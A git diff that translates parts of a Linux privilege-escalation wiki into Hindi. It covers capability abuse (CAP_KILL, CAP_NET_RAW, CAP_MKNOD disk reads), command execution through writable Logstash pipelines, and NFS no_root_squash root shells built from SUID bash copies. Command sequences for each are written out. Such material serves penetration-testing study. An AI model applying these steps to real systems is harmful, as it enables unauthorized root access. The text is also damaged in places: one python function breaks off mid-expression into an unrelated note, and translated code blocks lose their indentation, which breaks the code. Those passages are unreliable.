पेज के अनुसार, यह धारक को अन्य उपकरणों पर वर्णनात्मक रूप से `डिवाइस-विशिष्ट संचालन की एक श्रृंखला करने` की अनुमति देता है। -This can be useful for **privilege escalation** and **Docker breakout.** +यह **विशेषाधिकार वृद्धि** और **Docker ब्रेकआउट** के लिए उपयोगी हो सकता है। ## CAP_KILL -**This means that it's possible to kill any process.** +**इसका मतलब है कि किसी भी प्रक्रिया को मारना संभव है।** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**बाइनरी के साथ उदाहरण** +मान लीजिए कि **`python`** बाइनरी में यह क्षमता है। यदि आप **किसी सेवा या सॉकेट कॉन्फ़िगरेशन** (या किसी सेवा से संबंधित किसी भी कॉन्फ़िगरेशन फ़ाइल) फ़ाइल को भी संशोधित कर सकते हैं, तो आप इसे बैकडोर कर सकते हैं, और फिर उस सेवा से संबंधित प्रक्रिया को मार सकते हैं और अपनी बैकडोर के साथ नए कॉन्फ़िगरेशन फ़ाइल के निष्पादन की प्रतीक्षा कर सकते हैं। ```python #Use this python code to kill arbitrary processes import os @@ -1423,39 +1279,27 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**प्रिवेस्क किल के साथ** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +यदि आपके पास किल क्षमताएँ हैं और एक **नोड प्रोग्राम रूट के रूप में** (या किसी अन्य उपयोगकर्ता के रूप में) चल रहा है, तो आप शायद इसे **सिग्नल SIGUSR1** भेज सकते हैं और इसे **नोड डिबगर** खोलने के लिए मजबूर कर सकते हैं जहाँ आप कनेक्ट कर सकते हैं। ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {{#ref}} electron-cef-chromium-debugger-abuse.md {{#endref}} -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## CAP_NET_BIND_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +**इसका मतलब है कि किसी भी पोर्ट पर सुनना संभव है (यहां तक कि विशेषाधिकार वाले पोर्ट पर भी)।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। -**Example with binary** +**बाइनरी के साथ उदाहरण** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +यदि **`python`** के पास यह क्षमता है, तो यह किसी भी पोर्ट पर सुनने में सक्षम होगा और यहां तक कि किसी अन्य पोर्ट से कनेक्ट भी कर सकेगा (कुछ सेवाओं को विशिष्ट विशेषाधिकार वाले पोर्ट से कनेक्शन की आवश्यकता होती है) {{#tabs}} {{#tab name="Listen"}} - ```python import socket s=socket.socket() @@ -1463,45 +1307,39 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` - {{#endtab}} {{#tab name="Connect"}} - ```python import socket s=socket.socket() s.bind(('0.0.0.0',500)) s.connect(('10.10.10.10',500)) ``` - {{#endtab}} {{#endtabs}} ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) क्षमता प्रक्रियाओं को **RAW और PACKET सॉकेट बनाने** की अनुमति देती है, जिससे वे मनमाने नेटवर्क पैकेट उत्पन्न और भेज सकते हैं। यह कंटेनराइज्ड वातावरण में सुरक्षा जोखिम पैदा कर सकता है, जैसे पैकेट स्पूफिंग, ट्रैफिक इंजेक्शन, और नेटवर्क एक्सेस नियंत्रण को बायपास करना। दुर्भावनापूर्ण अभिनेता इसका उपयोग कंटेनर रूटिंग में हस्तक्षेप करने या होस्ट नेटवर्क सुरक्षा को खतरे में डालने के लिए कर सकते हैं, विशेष रूप से जब उचित फ़ायरवॉल सुरक्षा नहीं हो। इसके अतिरिक्त, **CAP_NET_RAW** विशेषाधिकार प्राप्त कंटेनरों के लिए RAW ICMP अनुरोधों के माध्यम से पिंग जैसी संचालन का समर्थन करने के लिए महत्वपूर्ण है। -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**इसका मतलब है कि ट्रैफिक को स्निफ करना संभव है।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**बाइनरी के साथ उदाहरण** +यदि बाइनरी **`tcpdump`** के पास यह क्षमता है, तो आप इसका उपयोग नेटवर्क जानकारी कैप्चर करने के लिए कर सकेंगे। ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +ध्यान दें कि यदि **environment** यह क्षमता दे रहा है, तो आप **`tcpdump`** का उपयोग करके ट्रैफ़िक को स्निफ़ भी कर सकते हैं। -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**बाइनरी 2 के साथ उदाहरण** +निम्नलिखित उदाहरण **`python2`** कोड है जो "**lo**" (**localhost**) इंटरफ़ेस के ट्रैफ़िक को इंटरसेप्ट करने के लिए उपयोगी हो सकता है। यह कोड [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) से "_The Basics: CAP-NET_BIND + NET_RAW_" प्रयोगशाला का है। ```python import socket import struct @@ -1509,11 +1347,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 < [!NOTE] -> Note that usually this immutable attribute is set and remove using: +> ध्यान दें कि आमतौर पर यह अपरिवर्तनीय विशेषता सेट और हटाई जाती है: > > ```bash > sudo chattr +i file.txt @@ -1607,47 +1440,46 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) `chroot(2)` सिस्टम कॉल के निष्पादन की अनुमति देता है, जो संभावित रूप से ज्ञात कमजोरियों के माध्यम से `chroot(2)` वातावरण से भागने की अनुमति दे सकता है: -- [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +- [विभिन्न chroot समाधानों से बाहर कैसे निकलें](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [chw00t: chroot भागने का उपकरण](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) केवल सिस्टम पुनरारंभ के लिए `reboot(2)` सिस्टम कॉल के निष्पादन की अनुमति नहीं देता, जिसमें कुछ हार्डवेयर प्लेटफार्मों के लिए अनुकूलित विशिष्ट आदेश जैसे `LINUX_REBOOT_CMD_RESTART2` शामिल हैं, बल्कि यह `kexec_load(2)` का उपयोग करने की अनुमति भी देता है और, Linux 3.17 से आगे, नए या हस्ताक्षरित क्रैश कर्नेल को लोड करने के लिए `kexec_file_load(2)` का उपयोग भी करता है। ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) को Linux 2.6.37 में व्यापक **CAP_SYS_ADMIN** से अलग किया गया, विशेष रूप से `syslog(2)` कॉल का उपयोग करने की क्षमता प्रदान करता है। यह क्षमता `/proc` और समान इंटरफेस के माध्यम से कर्नेल पते देखने की अनुमति देती है जब `kptr_restrict` सेटिंग 1 पर होती है, जो कर्नेल पते के प्रदर्शन को नियंत्रित करती है। Linux 2.6.39 से, `kptr_restrict` के लिए डिफ़ॉल्ट 0 है, जिसका अर्थ है कि कर्नेल पते प्रदर्शित होते हैं, हालांकि कई वितरण इसे 1 (uid 0 को छोड़कर पते छिपाना) या 2 (हमेशा पते छिपाना) के लिए सुरक्षा कारणों से सेट करते हैं। -Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents. +इसके अतिरिक्त, **CAP_SYSLOG** `dmesg_restrict` 1 पर सेट होने पर `dmesg` आउटपुट तक पहुंचने की अनुमति देता है। इन परिवर्तनों के बावजूद, **CAP_SYS_ADMIN** ऐतिहासिक पूर्ववृत्त के कारण `syslog` संचालन करने की क्षमता बनाए रखता है। ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) `mknod` सिस्टम कॉल की कार्यक्षमता को नियमित फ़ाइलों, FIFOs (नामित पाइप), या UNIX डोमेन सॉकेट बनाने से परे बढ़ाता है। यह विशेष फ़ाइलों के निर्माण की अनुमति देता है, जिसमें शामिल हैं: -- **S_IFCHR**: Character special files, which are devices like terminals. -- **S_IFBLK**: Block special files, which are devices like disks. +- **S_IFCHR**: वर्ण विशेष फ़ाइलें, जो टर्मिनल जैसे उपकरण हैं। +- **S_IFBLK**: ब्लॉक विशेष फ़ाइलें, जो डिस्क जैसे उपकरण हैं। -This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices. +यह क्षमता उन प्रक्रियाओं के लिए आवश्यक है जिन्हें डिवाइस फ़ाइलें बनाने की आवश्यकता होती है, जो वर्ण या ब्लॉक उपकरणों के माध्यम से सीधे हार्डवेयर इंटरैक्शन को सुविधाजनक बनाती है। -It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +यह एक डिफ़ॉल्ट डॉकर क्षमता है ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))। -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +यह क्षमता मेज़बान पर विशेषाधिकार वृद्धि (पूर्ण डिस्क पढ़ने के माध्यम से) करने की अनुमति देती है, इन शर्तों के तहत: -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. मेज़बान पर प्रारंभिक पहुंच हो (अप्रिविलेज्ड)। +2. कंटेनर पर प्रारंभिक पहुंच हो (प्रिविलेज्ड (EUID 0), और प्रभावी `CAP_MKNOD`)। +3. मेज़बान और कंटेनर को समान उपयोगकर्ता नामस्थान साझा करना चाहिए। -**Steps to Create and Access a Block Device in a Container:** +**कंटेनर में एक ब्लॉक डिवाइस बनाने और एक्सेस करने के चरण:** -1. **On the Host as a Standard User:** +1. **मेज़बान पर एक मानक उपयोगकर्ता के रूप में:** - - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. - - Identify the target device, for example, `/dev/sdb`. - -2. **Inside the Container as `root`:** +- `id` के साथ अपने वर्तमान उपयोगकर्ता आईडी का निर्धारण करें, उदाहरण के लिए, `uid=1000(standarduser)`। +- लक्षित डिवाइस की पहचान करें, उदाहरण के लिए, `/dev/sdb`। +2. **कंटेनर के अंदर `root` के रूप में:** ```bash # Create a block special file for the host device mknod /dev/sdb b 8 16 @@ -1658,9 +1490,7 @@ useradd -u 1000 standarduser # Switch to the newly created user su standarduser ``` - -3. **Back on the Host:** - +3. **होस्ट पर वापस:** ```bash # Locate the PID of the container process owned by "standarduser" # This is an illustrative example; actual command might vary @@ -1669,28 +1499,27 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` - -This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device. +यह दृष्टिकोण मानक उपयोगकर्ता को कंटेनर के माध्यम से `/dev/sdb` से डेटा तक पहुंचने और संभावित रूप से पढ़ने की अनुमति देता है, साझा उपयोगकर्ता नाम स्थानों और डिवाइस पर सेट की गई अनुमतियों का लाभ उठाते हुए। ### CAP_SETPCAP -**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** एक प्रक्रिया को **दूसरी प्रक्रिया के क्षमता सेट को बदलने** की अनुमति देता है, जिससे प्रभावी, विरासत में मिलने वाले, और अनुमत सेट से क्षमताओं को जोड़ने या हटाने की अनुमति मिलती है। हालाँकि, एक प्रक्रिया केवल उन क्षमताओं को संशोधित कर सकती है जो उसके अपने अनुमत सेट में हैं, यह सुनिश्चित करते हुए कि यह किसी अन्य प्रक्रिया के विशेषाधिकारों को अपने से अधिक नहीं बढ़ा सकती। हाल के कर्नेल अपडेट ने इन नियमों को कड़ा कर दिया है, `CAP_SETPCAP` को केवल अपने या अपने वंशजों के अनुमत सेट के भीतर क्षमताओं को कम करने के लिए सीमित कर दिया है, सुरक्षा जोखिमों को कम करने के उद्देश्य से। उपयोग के लिए प्रभावी सेट में `CAP_SETPCAP` और अनुमत सेट में लक्षित क्षमताओं का होना आवश्यक है, संशोधनों के लिए `capset()` का उपयोग करते हुए। यह `CAP_SETPCAP` के मुख्य कार्य और सीमाओं का सारांश प्रस्तुत करता है, विशेषाधिकार प्रबंधन और सुरक्षा संवर्धन में इसकी भूमिका को उजागर करता है। -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** एक Linux क्षमता है जो एक प्रक्रिया को **दूसरी प्रक्रिया के क्षमता सेट को संशोधित करने** की अनुमति देती है। यह अन्य प्रक्रियाओं के प्रभावी, विरासत में मिलने वाले, और अनुमत क्षमता सेट से क्षमताओं को जोड़ने या हटाने की क्षमता प्रदान करती है। हालाँकि, इस क्षमता के उपयोग पर कुछ प्रतिबंध हैं। -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +`CAP_SETPCAP` वाली एक प्रक्रिया **केवल उन क्षमताओं को प्रदान या हटा सकती है जो उसके अपने अनुमत क्षमता सेट में हैं**। दूसरे शब्दों में, एक प्रक्रिया किसी अन्य प्रक्रिया को क्षमता नहीं दे सकती यदि उसके पास वह क्षमता स्वयं नहीं है। यह प्रतिबंध एक प्रक्रिया को किसी अन्य प्रक्रिया के विशेषाधिकारों को अपने स्तर से अधिक बढ़ाने से रोकता है। -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +इसके अलावा, हाल के कर्नेल संस्करणों में, `CAP_SETPCAP` क्षमता को **और अधिक सीमित** किया गया है। यह अब एक प्रक्रिया को अन्य प्रक्रियाओं के क्षमता सेट को मनमाने ढंग से संशोधित करने की अनुमति नहीं देती। इसके बजाय, यह **केवल एक प्रक्रिया को अपने अनुमत क्षमता सेट या अपने वंशजों के अनुमत क्षमता सेट में क्षमताओं को कम करने की अनुमति देती है**। यह परिवर्तन क्षमता से संबंधित संभावित सुरक्षा जोखिमों को कम करने के लिए पेश किया गया था। -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +`CAP_SETPCAP` का प्रभावी ढंग से उपयोग करने के लिए, आपके पास अपने प्रभावी क्षमता सेट में क्षमता होनी चाहिए और लक्षित क्षमताएँ आपके अनुमत क्षमता सेट में होनी चाहिए। आप फिर अन्य प्रक्रियाओं के क्षमता सेट को संशोधित करने के लिए `capset()` सिस्टम कॉल का उपयोग कर सकते हैं। -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +संक्षेप में, `CAP_SETPCAP` एक प्रक्रिया को अन्य प्रक्रियाओं के क्षमता सेट को संशोधित करने की अनुमति देता है, लेकिन यह उन क्षमताओं को प्रदान नहीं कर सकता जो उसके पास स्वयं नहीं हैं। इसके अलावा, सुरक्षा चिंताओं के कारण, हाल के कर्नेल संस्करणों में इसकी कार्यक्षमता को केवल अपने अनुमत क्षमता सेट या अपने वंशजों के अनुमत क्षमता सेट में क्षमताओं को कम करने की अनुमति देने के लिए सीमित कर दिया गया है। -## References +## संदर्भ -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**इनमें से अधिकांश उदाहरण** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) के कुछ प्रयोगशालाओं से लिए गए थे, इसलिए यदि आप इन प्रिवेस्क तकनीकों का अभ्यास करना चाहते हैं तो मैं इन प्रयोगशालाओं की सिफारिश करता हूँ। -**Other references**: +**अन्य संदर्भ**: - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1529,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index fe091391a..142dc56e3 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -2,59 +2,55 @@ ## Logstash -Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. +Logstash का उपयोग **लॉग इकट्ठा करने, रूपांतरित करने और भेजने** के लिए किया जाता है, जिसे **पाइपलाइनों** के रूप में जाना जाता है। ये पाइपलाइन्स **इनपुट**, **फिल्टर**, और **आउटपुट** चरणों से बनी होती हैं। एक दिलचस्प पहलू तब उत्पन्न होता है जब Logstash एक समझौता किए गए मशीन पर काम करता है। ### Pipeline Configuration -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: - +पाइपलाइन्स को फ़ाइल **/etc/logstash/pipelines.yml** में कॉन्फ़िगर किया जाता है, जो पाइपलाइन कॉन्फ़िगरेशन के स्थानों की सूची देता है: ```yaml # Define your pipelines here. Multiple pipelines can be defined. # For details on multiple pipelines, refer to the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` +यह फ़ाइल उन **.conf** फ़ाइलों का स्थान प्रकट करती है, जिनमें पाइपलाइन कॉन्फ़िगरेशन होते हैं। जब **Elasticsearch output module** का उपयोग किया जाता है, तो **pipelines** में अक्सर **Elasticsearch credentials** शामिल होते हैं, जिनमें Logstash की आवश्यकता के कारण व्यापक विशेषाधिकार होते हैं कि वह Elasticsearch में डेटा लिख सके। कॉन्फ़िगरेशन पथों में वाइल्डकार्ड Logstash को निर्दिष्ट निर्देशिका में सभी मेल खाने वाले पाइपलाइनों को निष्पादित करने की अनुमति देते हैं। -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +### Writable Pipelines के माध्यम से विशेषाधिकार वृद्धि -### Privilege Escalation via Writable Pipelines +विशेषाधिकार वृद्धि का प्रयास करने के लिए, पहले उस उपयोगकर्ता की पहचान करें जिसके तहत Logstash सेवा चल रही है, आमतौर पर **logstash** उपयोगकर्ता। सुनिश्चित करें कि आप इनमें से **एक** मानदंड को पूरा करते हैं: -To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: +- एक पाइपलाइन **.conf** फ़ाइल में **लेखन पहुंच** हो **या** +- **/etc/logstash/pipelines.yml** फ़ाइल में वाइल्डकार्ड का उपयोग किया गया है, और आप लक्षित फ़ोल्डर में लिख सकते हैं -- Possess **write access** to a pipeline **.conf** file **or** -- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder +इसके अतिरिक्त, इनमें से **एक** शर्त को पूरा किया जाना चाहिए: -Additionally, **one** of these conditions must be fulfilled: - -- Capability to restart the Logstash service **or** -- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set - -Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance: +- Logstash सेवा को पुनः प्रारंभ करने की क्षमता **या** +- **/etc/logstash/logstash.yml** फ़ाइल में **config.reload.automatic: true** सेट है +कॉन्फ़िगरेशन में वाइल्डकार्ड दिए जाने पर, एक फ़ाइल बनाना जो इस वाइल्डकार्ड से मेल खाती है, कमांड निष्पादन की अनुमति देता है। उदाहरण के लिए: ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +यहाँ, **interval** निष्पादन की आवृत्ति को सेकंड में निर्धारित करता है। दिए गए उदाहरण में, **whoami** कमांड हर 120 सेकंड में चलती है, और इसका आउटपुट **/tmp/output.log** में भेजा जाता है। -Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. +**/etc/logstash/logstash.yml** में **config.reload.automatic: true** के साथ, Logstash स्वचालित रूप से नए या संशोधित पाइपलाइन कॉन्फ़िगरेशन का पता लगाएगा और उन्हें लागू करेगा बिना किसी पुनरारंभ की आवश्यकता के। यदि कोई वाइल्डकार्ड नहीं है, तो मौजूदा कॉन्फ़िगरेशन में संशोधन किए जा सकते हैं, लेकिन व्यवधान से बचने के लिए सावधानी बरतने की सलाह दी जाती है। ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 679d2a521..3afe14321 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,19 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +_ **/etc/exports** _ फ़ाइल को पढ़ें, यदि आप कुछ निर्देशिका पाते हैं जो **no_root_squash** के रूप में कॉन्फ़िगर की गई है, तो आप **क्लाइंट के रूप में** इसे **एक्सेस** कर सकते हैं और उस निर्देशिका के अंदर **लिख सकते हैं** **जैसे** कि आप मशीन के स्थानीय **रूट** थे। -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash**: यह विकल्प मूल रूप से क्लाइंट पर रूट उपयोगकर्ता को NFS सर्वर पर रूट के रूप में फ़ाइलों तक पहुँचने का अधिकार देता है। और इससे गंभीर सुरक्षा परिणाम हो सकते हैं। -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no_all_squash:** यह **no_root_squash** विकल्प के समान है लेकिन **गैर-रूट उपयोगकर्ताओं** पर लागू होता है। कल्पना करें, आपके पास कोई उपयोगकर्ता के रूप में एक शेल है; /etc/exports फ़ाइल की जांच की; no_all_squash विकल्प मौजूद है; /etc/passwd फ़ाइल की जांच करें; एक गैर-रूट उपयोगकर्ता का अनुकरण करें; उस उपयोगकर्ता के रूप में एक suid फ़ाइल बनाएं (nfs का उपयोग करके माउंट करके)। कोई उपयोगकर्ता के रूप में suid को निष्पादित करें और विभिन्न उपयोगकर्ता बनें। # Privilege Escalation ## Remote Exploit -If you have found this vulnerability, you can exploit it: - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +यदि आपने इस भेद्यता को पाया है, तो आप इसका शोषण कर सकते हैं: +- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट किए गए फ़ोल्डर के अंदर **/bin/bash** बाइनरी को कॉपी करना और उसे **SUID** अधिकार देना, और **पीड़ित** मशीन से उस बाश बाइनरी को निष्पादित करना। ```bash #Attacker, as root user mkdir /tmp/pe @@ -26,9 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट की गई फ़ोल्डर के अंदर हमारे संकलित पेलोड को कॉपी करना जो SUID अनुमति का दुरुपयोग करेगा, इसे **SUID** अधिकार देना, और **शिकार** मशीन से उस बाइनरी को **निष्पादित करना** (आप यहाँ कुछ [C SUID पेलोड्स](payloads-to-execute.md#c) पा सकते हैं)। ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,61 +39,57 @@ chmod +s payload cd ./payload #ROOT shell ``` - ## Local Exploit > [!NOTE] -> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and 